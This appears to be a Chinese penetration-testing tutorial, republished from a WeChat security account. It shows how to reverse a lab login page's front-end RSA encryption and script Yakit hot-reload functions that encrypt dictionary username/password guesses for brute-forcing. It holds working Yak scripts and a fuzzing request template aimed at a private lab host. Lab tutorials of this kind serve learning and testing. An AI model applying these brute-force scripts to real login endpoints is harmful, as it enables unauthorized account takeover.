声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
前言
靶场就不过多叙述,具体的可以看yakit系列的前几篇文章。
本篇文章主要内容:
-
• yakit 热加载进行 RSA 加密 -
• 如何显示想要的payloads
结果展示
成功通过 web fuzzer 对进行了rsa加密的接口进行爆破
加解密过程
前端加密分析
访问 http://192.168.56.32:82/
RSA 加密
在history中,查看数据包,参数被rsa加密 data
浏览器分析代码
source 全局搜索关键词
寻找发包点,定位加密地点
下断点,点击按钮
_0xc4a2fd
传入的是加密后的data,向上追,找到_0x4c2fb7
中是明文data
{"username":"admin","password":"admin"}
定位加密函数
_0x2eaef7['encrypt'](data)
加密过程
_0x3e25e1 = 'n-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvinNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlMnDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3CbnocDbsNeCwNpRxwjIdQIDAQABn-----END PUBLIC KEY-----n '
_0x2eaef7 = new JSEncrypt();
_0x2eaef7['setPublicKey'](data);
yakit 构造RSA加密函数
在放置公钥在热加载前,我们现在codec模块,测试一下具体的加密方法,避免热加载的时候一头雾水,解决不了报错
yakit的codec模块和cyberchef很像,是拖动的,将加密后的data发送到后端
没出现解密失败的报错,说明后端成功解密接收了。
由此,我们可知加密办法是 codec.RSADecryptWithPKCS1v15
注意点
我们从浏览器拿到的公钥是这样的
n-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvinNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlMnDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3CbnocDbsNeCwNpRxwjIdQIDAQABn-----END PUBLIC KEY-----n
需要将 n
替换为回车,对格式进行转换,如下:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----
热加载代码模板
热加载中有代码模板
作用:以笛卡尔积生成爆破字典,对结果进行RSA 公钥加密
配置热加载
decode2 = func(param) {
publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----` /* base64格式的publicKey */
usernameDict = ["admin"] /* 用户字典 */
passwordDict = ["admin", "123456", "admin123", "88888888", "666666"] /* 密码字典 */
resultList = []
for username in usernameDict {
for password in passwordDict {
m = {"username":username,"password":password} /* 这里替换为你需要的格式 */
jsonInput = json.dumps(m)
result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
base64Result = codec.EncodeBase64(result)
base64Result = codec.EscapeUrl(base64Result)
resultList.Append(base64Result)
}
}
return resultList
}
-注意点
我们可以看到,发送到后端的data再最后进行了URL编码。所以我们在热加载里也要添加相关内容,不然后端就会解密失败。
-
• base64Result = codec.EscapeUrl(base64Result)
调试执行
点击保存,配置fuzz tag
发送成功。
问题
但是,有一个问题,我们看不到payload中的账号和密码,后面肯定不方便。如果有知道怎么配置的师傅可以留言。
但是我翻阅yakit的文档,也没找到在哪里配置payloads的显示内容。
但所谓只要思想不滑坡,办法总比困难多。
我找到了一个不是办法的办法。
解决办法
我们通过热加载的beforerequest调用函数,这样就能看见了。
具体的代码如下:
热加载:
decode2 = func(jsonInput) {
publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`/* base64格式的publicKey */
result = codec.RSAEncryptWithPKCS1v15(publicKey, jsonInput)~
base64Result = codec.EncodeBase64(result)
base64Result = codec.EscapeUrl(base64Result)
return base64Result
}
// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
// 我们可以将请求进行一定的修改
password = poc.GetHTTPPacketPostParam(
req,
"data",
)
username = poc.GetHTTPPacketPostParam(
req,
"username",
)
m = {"username": username, "password": password}/* 这里替换为你需要的格式 */
jsonInput = json.dumps(m)
dataEnc = decode2(jsonInput)
req = poc.ReplaceHTTPPacketBody(req /*type: []byte*/, "data=" + dataEnc)
return []byte(req)
}
修改了一部分代码
-
• 我们将需要传入的参数写在请求体中,接着热加载接收这些参数,拼接成json,加密。最后将结果替换到请求体中。 -
• poc.ReplaceHTTPPacketBody 会将请求体的内容全部替换。
请求包
POST /encrypt/rsa.php HTTP/1.1
Host: 192.168.56.32:82
Referer: http://192.168.56.32:82/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.56.32:82
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
data={{payload(pass_top25)}}&username={{payload(user_top10)}}
结果成功打印payloads
原文始发于微信公众号(进击的HACK):yakit 通过codec 解决RSA加密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论